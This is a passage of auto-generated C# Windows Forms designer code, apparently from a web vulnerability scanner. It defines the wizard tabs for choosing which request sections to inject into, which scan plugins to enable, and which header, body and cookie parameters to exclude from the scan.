this.Three.Controls.Add(this.StepThreeNextBtn); + this.Three.Controls.Add(this.label16); + this.Three.Controls.Add(this.InjectNamesCB); + this.Three.Controls.Add(this.ScanPluginsGrid); + this.Three.Controls.Add(this.label15); + this.Three.Controls.Add(this.InjectHeadersCB); + this.Three.Controls.Add(this.InjectCookieCB); + this.Three.Controls.Add(this.InjectBodyCB); + this.Three.Controls.Add(this.InjectQueryCB); + this.Three.Controls.Add(this.InjectUrlPathPartsCB); + this.Three.Location = new System.Drawing.Point(4, 25); + this.Three.Name = "Three"; + this.Three.Size = new System.Drawing.Size(826, 332); + this.Three.TabIndex = 2; + this.Three.Text = " Scan Settings "; + this.Three.UseVisualStyleBackColor = true; + // + // Step3StatusTB + // + this.Step3StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step3StatusTB.BackColor = System.Drawing.Color.White; + this.Step3StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step3StatusTB.ForeColor = System.Drawing.Color.Red; + this.Step3StatusTB.Location = new System.Drawing.Point(124, 292); + this.Step3StatusTB.Multiline = true; + this.Step3StatusTB.Name = "Step3StatusTB"; + this.Step3StatusTB.Size = new System.Drawing.Size(577, 32); + this.Step3StatusTB.TabIndex = 145; + this.Step3StatusTB.TabStop = false; + this.Step3StatusTB.Visible = false; + // + // ScanAllPluginsCB + // + this.ScanAllPluginsCB.AutoSize = true; + this.ScanAllPluginsCB.Checked = true; + this.ScanAllPluginsCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ScanAllPluginsCB.Location = new System.Drawing.Point(269, 127); + this.ScanAllPluginsCB.Name = "ScanAllPluginsCB"; + this.ScanAllPluginsCB.Size = new System.Drawing.Size(111, 17); + this.ScanAllPluginsCB.TabIndex = 144; + this.ScanAllPluginsCB.Text = "Enable all Checks"; + this.ScanAllPluginsCB.UseVisualStyleBackColor = true; + this.ScanAllPluginsCB.Click += new System.EventHandler(this.ScanAllPluginsCB_Click); + // + // StepThreePreviousBtn + // + this.StepThreePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepThreePreviousBtn.Location = new System.Drawing.Point(6, 301); + this.StepThreePreviousBtn.Name = "StepThreePreviousBtn"; + this.StepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepThreePreviousBtn.TabIndex = 143; + this.StepThreePreviousBtn.Text = "<-Previous Step"; + this.StepThreePreviousBtn.UseVisualStyleBackColor = true; + this.StepThreePreviousBtn.Click += new System.EventHandler(this.StepThreePreviousBtn_Click); + // + // StepThreeNextBtn + // + this.StepThreeNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepThreeNextBtn.Location = new System.Drawing.Point(713, 302); + this.StepThreeNextBtn.Name = "StepThreeNextBtn"; + this.StepThreeNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepThreeNextBtn.TabIndex = 142; + this.StepThreeNextBtn.Text = "Next Step ->"; + this.StepThreeNextBtn.UseVisualStyleBackColor = true; + this.StepThreeNextBtn.Click += new System.EventHandler(this.StepThreeNextBtn_Click); + // + // label16 + // + this.label16.AutoSize = true; + this.label16.Location = new System.Drawing.Point(22, 128); + this.label16.Name = "label16"; + this.label16.Size = new System.Drawing.Size(218, 13); + this.label16.TabIndex = 95; + this.label16.Text = "Which vulnerabilities should be scanned for?"; + // + // InjectNamesCB + // + this.InjectNamesCB.AutoSize = true; + this.InjectNamesCB.Location = new System.Drawing.Point(316, 81); + this.InjectNamesCB.Name = "InjectNamesCB"; + this.InjectNamesCB.Size = new System.Drawing.Size(183, 17); + this.InjectNamesCB.TabIndex = 94; + this.InjectNamesCB.Text = "Parameter Names of Query, Body"; + this.InjectNamesCB.UseVisualStyleBackColor = true; + // + // ScanPluginsGrid + // + this.ScanPluginsGrid.AllowUserToAddRows = false; + this.ScanPluginsGrid.AllowUserToDeleteRows = false; + this.ScanPluginsGrid.AllowUserToResizeRows = false; + this.ScanPluginsGrid.BackgroundColor = System.Drawing.Color.White; + this.ScanPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ScanPluginsGrid.ColumnHeadersVisible = false; + this.ScanPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewCheckBoxColumn9, + this.dataGridViewTextBoxColumn27}); + this.ScanPluginsGrid.GridColor = System.Drawing.Color.White; + this.ScanPluginsGrid.Location = new System.Drawing.Point(407, 128); + this.ScanPluginsGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanPluginsGrid.Name = "ScanPluginsGrid"; + this.ScanPluginsGrid.ReadOnly = true; + this.ScanPluginsGrid.RowHeadersVisible = false; + this.ScanPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanPluginsGrid.Size = new System.Drawing.Size(300, 152); + this.ScanPluginsGrid.TabIndex = 93; + this.ScanPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanPluginsGrid_CellClick); + // + // dataGridViewCheckBoxColumn9 + // + this.dataGridViewCheckBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewCheckBoxColumn9.HeaderText = ""; + this.dataGridViewCheckBoxColumn9.Name = "dataGridViewCheckBoxColumn9"; + this.dataGridViewCheckBoxColumn9.ReadOnly = true; + this.dataGridViewCheckBoxColumn9.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridViewCheckBoxColumn9.Width = 20; + // + // dataGridViewTextBoxColumn27 + // + this.dataGridViewTextBoxColumn27.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn27.HeaderText = "SCAN PLUGINS"; + this.dataGridViewTextBoxColumn27.Name = "dataGridViewTextBoxColumn27"; + this.dataGridViewTextBoxColumn27.ReadOnly = true; + this.dataGridViewTextBoxColumn27.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // label15 + // + this.label15.AutoSize = true; + this.label15.Location = new System.Drawing.Point(22, 26); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(252, 13); + this.label15.TabIndex = 24; + this.label15.Text = "Which sections of the Request should be scanned?"; + // + // InjectHeadersCB + // + this.InjectHeadersCB.AutoSize = true; + this.InjectHeadersCB.Location = new System.Drawing.Point(537, 26); + this.InjectHeadersCB.Name = "InjectHeadersCB"; + this.InjectHeadersCB.Size = new System.Drawing.Size(66, 17); + this.InjectHeadersCB.TabIndex = 23; + this.InjectHeadersCB.Text = "Headers"; + this.InjectHeadersCB.UseVisualStyleBackColor = true; + this.InjectHeadersCB.CheckedChanged += new System.EventHandler(this.InjectHeadersCB_CheckedChanged); + // + // InjectCookieCB + // + this.InjectCookieCB.AutoSize = true; + this.InjectCookieCB.Location = new System.Drawing.Point(460, 26); + this.InjectCookieCB.Name = "InjectCookieCB"; + this.InjectCookieCB.Size = new System.Drawing.Size(59, 17); + this.InjectCookieCB.TabIndex = 22; + this.InjectCookieCB.Text = "Cookie"; + this.InjectCookieCB.UseVisualStyleBackColor = true; + this.InjectCookieCB.CheckedChanged += new System.EventHandler(this.InjectCookieCB_CheckedChanged); + // + // InjectBodyCB + // + this.InjectBodyCB.AutoSize = true; + this.InjectBodyCB.Checked = true; + this.InjectBodyCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.InjectBodyCB.Location = new System.Drawing.Point(393, 25); + this.InjectBodyCB.Name = "InjectBodyCB"; + this.InjectBodyCB.Size = new System.Drawing.Size(50, 17); + this.InjectBodyCB.TabIndex = 21; + this.InjectBodyCB.Text = "Body"; + this.InjectBodyCB.UseVisualStyleBackColor = true; + this.InjectBodyCB.CheckedChanged += new System.EventHandler(this.InjectBodyCB_CheckedChanged); + // + // InjectQueryCB + // + this.InjectQueryCB.AutoSize = true; + this.InjectQueryCB.Checked = true; + this.InjectQueryCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.InjectQueryCB.Location = new System.Drawing.Point(316, 25); + this.InjectQueryCB.Name = "InjectQueryCB"; + this.InjectQueryCB.Size = new System.Drawing.Size(54, 17); + this.InjectQueryCB.TabIndex = 20; + this.InjectQueryCB.Text = "Query"; + this.InjectQueryCB.UseVisualStyleBackColor = true; + this.InjectQueryCB.CheckedChanged += new System.EventHandler(this.InjectQueryCB_CheckedChanged); + // + // InjectUrlPathPartsCB + // + this.InjectUrlPathPartsCB.AutoSize = true; + this.InjectUrlPathPartsCB.Checked = true; + this.InjectUrlPathPartsCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.InjectUrlPathPartsCB.Location = new System.Drawing.Point(316, 53); + this.InjectUrlPathPartsCB.Name = "InjectUrlPathPartsCB"; + this.InjectUrlPathPartsCB.Size = new System.Drawing.Size(349, 17); + this.InjectUrlPathPartsCB.TabIndex = 19; + this.InjectUrlPathPartsCB.Text = "Url Path Parts (only when Query string is blank, to cover Url-rewriting)"; + this.InjectUrlPathPartsCB.UseVisualStyleBackColor = true; + // + // Four + // + this.Four.Controls.Add(this.Step4StatusTB); + this.Four.Controls.Add(this.label18); + this.Four.Controls.Add(this.label17); + this.Four.Controls.Add(this.StepFourPreviousBtn); + this.Four.Controls.Add(this.StepFourNextBtn); + this.Four.Controls.Add(this.groupBox5); + this.Four.Controls.Add(this.groupBox1); + this.Four.Controls.Add(this.groupBox3); + this.Four.Controls.Add(this.groupBox4); + this.Four.Location = new System.Drawing.Point(4, 25); + this.Four.Name = "Four"; + this.Four.Size = new System.Drawing.Size(826, 332); + this.Four.TabIndex = 5; + this.Four.Text = " Scan Filter "; + this.Four.UseVisualStyleBackColor = true; + // + // Step4StatusTB + // + this.Step4StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step4StatusTB.BackColor = System.Drawing.Color.White; + this.Step4StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step4StatusTB.ForeColor = System.Drawing.Color.Red; + this.Step4StatusTB.Location = new System.Drawing.Point(126, 296); + this.Step4StatusTB.Multiline = true; + this.Step4StatusTB.Name = "Step4StatusTB"; + this.Step4StatusTB.Size = new System.Drawing.Size(577, 32); + this.Step4StatusTB.TabIndex = 148; + this.Step4StatusTB.TabStop = false; + this.Step4StatusTB.Visible = false; + // + // label18 + // + this.label18.AutoSize = true; + this.label18.Location = new System.Drawing.Point(7, 30); + this.label18.Name = "label18"; + this.label18.Size = new System.Drawing.Size(561, 13); + this.label18.TabIndex = 147; + this.label18.Text = "Check the box at the beginning to enable the list. Use + and - options to toggle " + + "between white-list and black-list mode."; + // + // label17 + // + this.label17.AutoSize = true; + this.label17.Location = new System.Drawing.Point(7, 10); + this.label17.Name = "label17"; + this.label17.Size = new System.Drawing.Size(436, 13); + this.label17.TabIndex = 146; + this.label17.Text = "You can set a black-list or white-list to include or exclude request parameters f" + + "rom the scan."; + // + // StepFourPreviousBtn + // + this.StepFourPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepFourPreviousBtn.Location = new System.Drawing.Point(7, 301); + this.StepFourPreviousBtn.Name = "StepFourPreviousBtn"; + this.StepFourPreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepFourPreviousBtn.TabIndex = 145; + this.StepFourPreviousBtn.Text = "<-Previous Step"; + this.StepFourPreviousBtn.UseVisualStyleBackColor = true; + this.StepFourPreviousBtn.Click += new System.EventHandler(this.StepFourPreviousBtn_Click); + // + // StepFourNextBtn + // + this.StepFourNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepFourNextBtn.Location = new System.Drawing.Point(714, 302); + this.StepFourNextBtn.Name = "StepFourNextBtn"; + this.StepFourNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepFourNextBtn.TabIndex = 144; + this.StepFourNextBtn.Text = "Next Step ->"; + this.StepFourNextBtn.UseVisualStyleBackColor = true; + this.StepFourNextBtn.Click += new System.EventHandler(this.StepFourNextBtn_Click); + // + // groupBox5 + // + this.groupBox5.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox5.Controls.Add(this.HeadersParametersFilterCB); + this.groupBox5.Controls.Add(this.HeadersParametersPlusTB); + this.groupBox5.Controls.Add(this.HeadersParametersMinusTB); + this.groupBox5.Controls.Add(this.HeadersParametersPlusRB); + this.groupBox5.Controls.Add(this.HeadersParametersMinusRB); + this.groupBox5.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox5.Location = new System.Drawing.Point(10, 240); + this.groupBox5.Margin = new System.Windows.Forms.Padding(0); + this.groupBox5.Name = "groupBox5"; + this.groupBox5.Size = new System.Drawing.Size(800, 52); + this.groupBox5.TabIndex = 95; + this.groupBox5.TabStop = false; + // + // HeadersParametersFilterCB + // + this.HeadersParametersFilterCB.AutoSize = true; + this.HeadersParametersFilterCB.Enabled = false; + this.HeadersParametersFilterCB.Location = new System.Drawing.Point(8, 20); + this.HeadersParametersFilterCB.Name = "HeadersParametersFilterCB"; + this.HeadersParametersFilterCB.Size = new System.Drawing.Size(203, 17); + this.HeadersParametersFilterCB.TabIndex = 59; + this.HeadersParametersFilterCB.Text = "Don\'t scan these Header Parameters:"; + this.HeadersParametersFilterCB.UseVisualStyleBackColor = true; + this.HeadersParametersFilterCB.CheckedChanged += new System.EventHandler(this.HeadersParametersFilterCB_CheckedChanged); + // + // HeadersParametersPlusTB + // + this.HeadersParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.HeadersParametersPlusTB.Enabled = false; + this.HeadersParametersPlusTB.Location = new System.Drawing.Point(255, 8); + this.HeadersParametersPlusTB.Name = "HeadersParametersPlusTB"; + this.HeadersParametersPlusTB.Size = new System.Drawing.Size(539, 20); + this.HeadersParametersPlusTB.TabIndex = 51; + // + // HeadersParametersMinusTB + // + this.HeadersParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.HeadersParametersMinusTB.Enabled = false; + this.HeadersParametersMinusTB.Location = new System.Drawing.Point(255, 29); + this.HeadersParametersMinusTB.Name = "HeadersParametersMinusTB"; + this.HeadersParametersMinusTB.Size = new System.Drawing.Size(539, 20); + this.HeadersParametersMinusTB.TabIndex = 52; + this.HeadersParametersMinusTB.Text = "Proxy-Connection, User-Agent, Accept, Referer, Accept-Encoding, Accept-Language, " + + "Accept-Charset, Content-Type, Content-Length, If-Modified-Since, Pragma"; + // + // HeadersParametersPlusRB + // + this.HeadersParametersPlusRB.AutoSize = true; + this.HeadersParametersPlusRB.Enabled = false; + this.HeadersParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HeadersParametersPlusRB.Location = new System.Drawing.Point(215, 10); + this.HeadersParametersPlusRB.Name = "HeadersParametersPlusRB"; + this.HeadersParametersPlusRB.Size = new System.Drawing.Size(34, 20); + this.HeadersParametersPlusRB.TabIndex = 57; + this.HeadersParametersPlusRB.Text = "+"; + this.HeadersParametersPlusRB.UseVisualStyleBackColor = true; + this.HeadersParametersPlusRB.CheckedChanged += new System.EventHandler(this.HeadersParametersPlusRB_CheckedChanged); + // + // HeadersParametersMinusRB + // + this.HeadersParametersMinusRB.AutoSize = true; + this.HeadersParametersMinusRB.Checked = true; + this.HeadersParametersMinusRB.Enabled = false; + this.HeadersParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HeadersParametersMinusRB.Location = new System.Drawing.Point(215, 29); + this.HeadersParametersMinusRB.Name = "HeadersParametersMinusRB"; + this.HeadersParametersMinusRB.Size = new System.Drawing.Size(31, 20); + this.HeadersParametersMinusRB.TabIndex = 58; + this.HeadersParametersMinusRB.TabStop = true; + this.HeadersParametersMinusRB.Text = "-"; + this.HeadersParametersMinusRB.UseVisualStyleBackColor = true; + this.HeadersParametersMinusRB.CheckedChanged += new System.EventHandler(this.HeadersParametersMinusRB_CheckedChanged); + // + // groupBox1 + // + this.groupBox1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox1.Controls.Add(this.QueryParametersFilterCB); + this.groupBox1.Controls.Add(this.QueryParametersPlusTB); + this.groupBox1.Controls.Add(this.QueryParametersMinusTB); + this.groupBox1.Controls.Add(this.QueryParametersPlusRB); + this.groupBox1.Controls.Add(this.QueryParametersMinusRB); + this.groupBox1.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox1.Location = new System.Drawing.Point(10, 64); + this.groupBox1.Margin = new System.Windows.Forms.Padding(0); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(800, 52); + this.groupBox1.TabIndex = 92; + this.groupBox1.TabStop = false; + // + // QueryParametersFilterCB + // + this.QueryParametersFilterCB.AutoSize = true; + this.QueryParametersFilterCB.Enabled = false; + this.QueryParametersFilterCB.Location = new System.Drawing.Point(8, 20); + this.QueryParametersFilterCB.Name = "QueryParametersFilterCB"; + this.QueryParametersFilterCB.Size = new System.Drawing.Size(196, 17); + this.QueryParametersFilterCB.TabIndex = 59; + this.QueryParametersFilterCB.Text = "Don\'t scan these Query Parameters:"; + this.QueryParametersFilterCB.UseVisualStyleBackColor = true; + this.QueryParametersFilterCB.CheckedChanged += new System.EventHandler(this.QueryParametersFilterCB_CheckedChanged); + // + // QueryParametersPlusTB + // + this.QueryParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.QueryParametersPlusTB.Enabled = false; + this.QueryParametersPlusTB.Location = new System.Drawing.Point(255, 8); + this.QueryParametersPlusTB.Name = "QueryParametersPlusTB"; + this.QueryParametersPlusTB.Size = new System.Drawing.Size(539, 20); + this.QueryParametersPlusTB.TabIndex = 51; + // + // QueryParametersMinusTB + // + this.QueryParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.QueryParametersMinusTB.Enabled = false; + this.QueryParametersMinusTB.Location = new System.Drawing.Point(255, 29); + this.QueryParametersMinusTB.Name = "QueryParametersMinusTB"; + this.QueryParametersMinusTB.Size = new System.Drawing.Size(539, 20); + this.QueryParametersMinusTB.TabIndex = 52; + // + // QueryParametersPlusRB + // + this.QueryParametersPlusRB.AutoSize = true; + this.QueryParametersPlusRB.Enabled = false; + this.QueryParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.QueryParametersPlusRB.Location = new System.Drawing.Point(215, 9); + this.QueryParametersPlusRB.Name = "QueryParametersPlusRB"; + this.QueryParametersPlusRB.Size = new System.Drawing.Size(34, 20); + this.QueryParametersPlusRB.TabIndex = 57; + this.QueryParametersPlusRB.Text = "+"; + this.QueryParametersPlusRB.UseVisualStyleBackColor = true; + this.QueryParametersPlusRB.CheckedChanged += new System.EventHandler(this.QueryParametersPlusRB_CheckedChanged); + // + // QueryParametersMinusRB + // + this.QueryParametersMinusRB.AutoSize = true; + this.QueryParametersMinusRB.Checked = true; + this.QueryParametersMinusRB.Enabled = false; + this.QueryParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.QueryParametersMinusRB.Location = new System.Drawing.Point(215, 28); + this.QueryParametersMinusRB.Name = "QueryParametersMinusRB"; + this.QueryParametersMinusRB.Size = new System.Drawing.Size(31, 20); + this.QueryParametersMinusRB.TabIndex = 58; + this.QueryParametersMinusRB.TabStop = true; + this.QueryParametersMinusRB.Text = "-"; + this.QueryParametersMinusRB.UseVisualStyleBackColor = true; + this.QueryParametersMinusRB.CheckedChanged += new System.EventHandler(this.QueryParametersMinusRB_CheckedChanged); + // + // groupBox3 + // + this.groupBox3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox3.Controls.Add(this.BodyParametersFilterCB); + this.groupBox3.Controls.Add(this.BodyParametersPlusTB); + this.groupBox3.Controls.Add(this.BodyParametersMinusTB); + this.groupBox3.Controls.Add(this.BodyParametersPlusRB); + this.groupBox3.Controls.Add(this.BodyParametersMinusRB); + this.groupBox3.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox3.Location = new System.Drawing.Point(10, 125); + this.groupBox3.Margin = new System.Windows.Forms.Padding(0); + this.groupBox3.Name = "groupBox3"; + this.groupBox3.Size = new System.Drawing.Size(800, 52); + this.groupBox3.TabIndex = 93; + this.groupBox3.TabStop = false; + // + // BodyParametersFilterCB + // + this.BodyParametersFilterCB.AutoSize = true; + this.BodyParametersFilterCB.Enabled = false; + this.BodyParametersFilterCB.Location = new System.Drawing.Point(8, 20); + this.BodyParametersFilterCB.Name = "BodyParametersFilterCB"; + this.BodyParametersFilterCB.Size = new System.Drawing.Size(192, 17); + this.BodyParametersFilterCB.TabIndex = 59; + this.BodyParametersFilterCB.Text = "Don\'t scan these Body Parameters:"; + this.BodyParametersFilterCB.UseVisualStyleBackColor = true; + this.BodyParametersFilterCB.CheckedChanged += new System.EventHandler(this.BodyParametersFilterCB_CheckedChanged); + // + // BodyParametersPlusTB + // + this.BodyParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.BodyParametersPlusTB.Enabled = false; + this.BodyParametersPlusTB.Location = new System.Drawing.Point(255, 8); + this.BodyParametersPlusTB.Name = "BodyParametersPlusTB"; + this.BodyParametersPlusTB.Size = new System.Drawing.Size(539, 20); + this.BodyParametersPlusTB.TabIndex = 51; + // + // BodyParametersMinusTB + // + this.BodyParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.BodyParametersMinusTB.Enabled = false; + this.BodyParametersMinusTB.Location = new System.Drawing.Point(255, 29); + this.BodyParametersMinusTB.Name = "BodyParametersMinusTB"; + this.BodyParametersMinusTB.Size = new System.Drawing.Size(539, 20); + this.BodyParametersMinusTB.TabIndex = 52; + this.BodyParametersMinusTB.Text = "__VIEWSTATE, javax.faces.ViewState"; + // + // BodyParametersPlusRB + // + this.BodyParametersPlusRB.AutoSize = true; + this.BodyParametersPlusRB.Enabled = false; + this.BodyParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.BodyParametersPlusRB.Location = new System.Drawing.Point(215, 8); + this.BodyParametersPlusRB.Name = "BodyParametersPlusRB"; + this.BodyParametersPlusRB.Size = new System.Drawing.Size(34, 20); + this.BodyParametersPlusRB.TabIndex = 57; + this.BodyParametersPlusRB.Text = "+"; + this.BodyParametersPlusRB.UseVisualStyleBackColor = true; + this.BodyParametersPlusRB.CheckedChanged += new System.EventHandler(this.BodyParametersPlusRB_CheckedChanged); + // + // BodyParametersMinusRB + // + this.BodyParametersMinusRB.AutoSize = true; + this.BodyParametersMinusRB.Checked = true; + this.BodyParametersMinusRB.Enabled = false; + this.BodyParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.BodyParametersMinusRB.Location = new System.Drawing.Point(215, 27); + this.BodyParametersMinusRB.Name = "BodyParametersMinusRB"; + this.BodyParametersMinusRB.Size = new System.Drawing.Size(31, 20); + this.BodyParametersMinusRB.TabIndex = 58; + this.BodyParametersMinusRB.TabStop = true; + this.BodyParametersMinusRB.Text = "-"; + this.BodyParametersMinusRB.UseVisualStyleBackColor = true; + this.BodyParametersMinusRB.CheckedChanged += new System.EventHandler(this.BodyParametersMinusRB_CheckedChanged); + // + // groupBox4 + // + this.groupBox4.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox4.Controls.Add(this.CookieParametersFilterCB); + this.groupBox4.Controls.Add(this.CookieParametersPlusTB); + this.groupBox4.Controls.Add(this.CookieParametersMinusTB); + this.groupBox4.Controls.Add(this.CookieParametersPlusRB); + this.groupBox4.Controls.Add(this.CookieParametersMinusRB); + this.groupBox4.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox4.Location = new System.Drawing.Point(10, 184); + this.groupBox4.Margin = new System.Windows.Forms.Padding(0); + this.groupBox4.Name = "groupBox4"; + this.groupBox4.Size = new System.Drawing.Size(800, 52); + this.groupBox4.TabIndex = 94; + this.groupBox4.TabStop = false; + // + // CookieParametersFilterCB + // + this.CookieParametersFilterCB.AutoSize = true; + this.CookieParametersFilterCB.Enabled = false; + this.CookieParametersFilterCB.Location = new System.Drawing.Point(8, 20); + this.CookieParametersFilterCB.Name = "CookieParametersFilterCB"; + this.CookieParametersFilterCB.Size = new System.Drawing.Size(201, 17); + this.CookieParametersFilterCB.TabIndex = 59; + this.CookieParametersFilterCB.Text = "Don\'t scan these Cookie Parameters:"; + this.CookieParametersFilterCB.UseVisualStyleBackColor = true; + this.CookieParametersFilterCB.CheckedChanged += new System.EventHandler(this.CookieParametersFilterCB_CheckedChanged); + // + // CookieParametersPlusTB + // + this.CookieParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CookieParametersPlusTB.Enabled = false; + this.CookieParametersPlusTB.Location = new System.Drawing.Point(255, 8); + this.CookieParametersPlusTB.Name = "CookieParametersPlusTB"; + this.CookieParametersPlusTB.Size = new System.Drawing.Size(542, 20); + this.CookieParametersPlusTB.TabIndex = 51; + // + // CookieParametersMinusTB + // + this.CookieParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CookieParametersMinusTB.Enabled = false; + this.CookieParametersMinusTB.Location = new System.Drawing.Point(255, 29); + this.CookieParametersMinusTB.Name = "CookieParametersMinusTB"; + this.CookieParametersMinusTB.Size = new System.Drawing.Size(542, 20); + this.CookieParametersMinusTB.TabIndex = 52; + this.CookieParametersMinusTB.Text = "JSESSIONID, PHPSESSID, ASPSESSIONID, ASP.NET_SessionId"; + // + // CookieParametersPlusRB + // + this.CookieParametersPlusRB.AutoSize = true; + this.CookieParametersPlusRB.Enabled = false; + this.CookieParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.CookieParametersPlusRB.Location = new System.Drawing.Point(215, 8); + this.CookieParametersPlusRB.Name = "CookieParametersPlusRB"; + this.CookieParametersPlusRB.Size = new System.Drawing.Size(34, 20); + this.CookieParametersPlusRB.TabIndex = 57; + this.CookieParametersPlusRB.Text = "+"; + this.CookieParametersPlusRB.UseVisualStyleBackColor = true; + this.CookieParametersPlusRB.CheckedChanged += new System.EventHandler(this.CookieParametersPlusRB_CheckedChanged); + // + // CookieParametersMinusRB + // + this.CookieParametersMinusRB.AutoSize = true; + this.CookieParametersMinusRB.Checked = true; + this.CookieParametersMinusRB.Enabled = false; + this.CookieParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.CookieParametersMinusRB.Location = new System.Drawing.Point(215, 27); + this.CookieParametersMinusRB.Name = "CookieParametersMinusRB"; + this.CookieParametersMinusRB.Size = new System.Drawing.Size(31, 20); + this.CookieParametersMinusRB.TabIndex = 58; + 